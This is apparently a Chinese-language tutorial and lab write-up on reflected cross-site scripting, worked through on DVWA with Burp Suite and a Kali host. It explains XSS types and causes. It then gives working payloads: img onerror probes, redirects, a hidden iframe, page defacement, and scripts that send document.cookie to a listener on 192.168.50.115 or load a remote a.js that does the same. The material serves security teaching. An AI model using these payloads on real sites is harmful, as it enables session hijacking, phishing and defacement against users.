目录
- 攻击WEB客户端
- 客户端脚本语言
- XSS(cross-site scripting)
- 使用场景
- 攻击参与方
- 漏洞形成的根源
- XSS漏洞类型
- 反射型XSS实验
8.1 初试XSS
8.2 基于html事件类型
8.2.1 基于<a>标签超链接
8.2.2 基于<img>网页中链接图片
8.2.3 重定向
8.2.4 iframe框架
8.2.5 盗取cookie
8.2.6 篡改主页
8.2.7 一般JavaScript攻击方法
1.攻击WEB客户端
之前的内容基本都是针对服务端的,而xss是在客户端作为攻击对象,一般不能实现对客户端的完全控制,尽管其漏洞在服务端;
VBScript针对微软的浏览器、ActiveX 、Flash、Javascript客户端执行工具/语言。
2.客户端脚本语言
- 弹窗告警、广告 //比如输入格式不合格
- Javascript
- 在浏览器中执行
3.XSS(cross-site scripting)
- 通过WEB站点漏洞,向客户端交付恶意脚本基本代码,实现对客户端的攻击目的
- 注入客户端脚本代码
- 盗取cookie
- 重定向 //本来访问正常站点,但却访问了另一个被黑客伪造的站点,输入了账号、密码
- 其他客户端脚本:VBScript(仅限于微软自己的浏览器)、ActiveX
4.使用场景
- 直接嵌入html:<script>alert('XSS')</script>
- 元素标签事件:<body onload=alert('XSS')> 页面被加载时执行javascript
- 图片标签:<img src="(javascritp:alert('XSS');"> //插入一张图片,默认为图片路径,但也可以是js
- 其他标签:<iframe>、<div>、<link>
- DOM对象,篡改页面内容 //文本对象模型,是一种标准,通过调用api调用html中的元素、标签
5.攻击参与方
- 攻击者
- 被攻击者
- 漏洞站点
- 第三方站点(攻击目标、攻击参与站),比如服务端下发js,众多客户端访问正常的网站,而变向去访问另一个网站,导致ddos
6.漏洞形成的根源
- 服务器对用户提交数据过滤不严
- 提交给服务器的脚本被直接返回给其他客户端执行
- 脚本在客户端执行恶意操作
7.XSS漏洞类型
反射型(非持久):正常情况下,黑客在请求服务器时发送js,服务器由于没有过滤,不执行此代码而是直接立刻返回给黑客的浏览器,此时只是在黑客电脑上执行,不会有什么问题,但如果黑客通过诱使(如邮件)被攻击者点击恶意链接访问,执行了包含的js,服务端原封不动的返回,并在浏览器上执行此js,而可能导致cookie的窃取,被安装键盘记录器等。
存储型(持久型):JavaScript在服务器端保存,每个客户在请求服务器时,服务端保存的js会返回,并在浏览器中直接执行。
若向服务器提交的片段中,被服务器原封不动的返回,则很有可能存在XSS漏洞
DOM型:在本地执行,不去向浏览器去发送请求
8.反射型XSS实验
8.1初试XSS
-
1.首先在DVWA的“xss reflected”中输入一段数据,通过burpsuite截取到是通过get发送请求
测试是否含有xss漏洞
-
2.点击“forword”转发后,查看response响应报文,找到提交的“123123123”片段,发现html响应报文中确实存在此数据,并原封不动的在客户端浏览器上显示。
Paste_Image.png
- 3.这时如果插入一段JavaScript代码,是不是也会被执行呢?先插入一段html代码试一下:
输入<a href="http//192.168.1.1">click</a>
通过查看响应报文,可以看到服务器端收到此代码并返回给浏览器
响应报文上述通过插入一段html代码,然后被浏览器执行,也可以被称为html注入。
结论: 应用程序端对输入的数据类型没有进行校验,不管是数据还是代码都被执行了,对本来应该是数据的,服务器对输入的代码却被执行
8.2 基于html事件类型
<script> alert('xss')</script> //html可以包含JavaScript代码,通过此来验证是否存在xss
8.2.1基于<a>标签超链接
这回在刚才的插入代码部分,插入一段JavaScript脚本,在上面的输入框中输入<a href='' onclick=alert('xss')>type</a>
或使用burpsuite,进行测试
在repeater中,将转换后的URL编码放在name
值后面,点击“go”
效果:输入上述字符后,增加一个“type”按钮,点击后弹出“xss”
实际效果
8.2.2基于<img>网页中链接图片
<img src=http://192.168.50.253/a.jpg onerror=alert('xss')>
//当图片来源是错误的时候(内网中不存在50.253的主机),就会产生error,去执行后面的alert
img的src基于error弹出xss
8.2.3 重定向
<script>window.location='http://www.baidu.com'</script>
//恶意攻击者模仿正常用户要访问的页面,当点击访问以为是正常的页面时,重定向到模仿的页面,输入敏感的账号、密码等信息
重定向到百度
也可以使用nc进行测试,此时客户端被重定向到kali上:
nc服务端监听
客户端发送请求:
客户访问发送请求
服务端收到被重定向到本机的客户相关信息:
服务端收到请求信息
8.2.4 iframe框架
<iframe SRC="http://192.168.50.115/victim" height = "0" width ="0"></iframe>
iframe
监听结果
8.2.5 盗取cookie
<script>new Image().src="http://192.168.50.115/c.php?output="+document.cookie;</script>
//将被攻击者的cookie信息发送到攻击者手中,通过诱使被攻击者点击此链接
盗取被攻击者cookie
8.2.6 篡改主页
此次篡改主页是基于反射型xss,而不是存储型
<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
//插入一段html,并显示“this website is under attack”
篡改主页
篡改效果
8.2.7一般JavaScript攻击方法
正常情况下,黑客不会向上述那样,发一大段链接给被攻击者去点击,那样的话,如果内容足够多、或者包含一些如cookie字符的话容易被发现。通常会发一个简短的js,然后指向到另一个地址去拿真正的js
<script src=http://192.168.50.115/a.js></script> //此段为注入的内容,依赖于第三方服务器,在这用kali本机地址
首先,在本机上的/var/www/html/
目录下创建a.js文件,并开启apache正常访问
var img = new Image();
img.src = "http://192.168.50.115:88/cookies.php?cookie="+document.cookie;
(1)创建a.js
创建a.js
(2)启动apache
# service apache2 start
(3)访问http://192.168.50.115/a.js
正常
(4) 插入下面代码
<script src=http://192.168.50.115/a.js></script>
(5)开启监听88端口
开启监听
(6)执行,并查看监听结果
点击执行 获取cookie
网友评论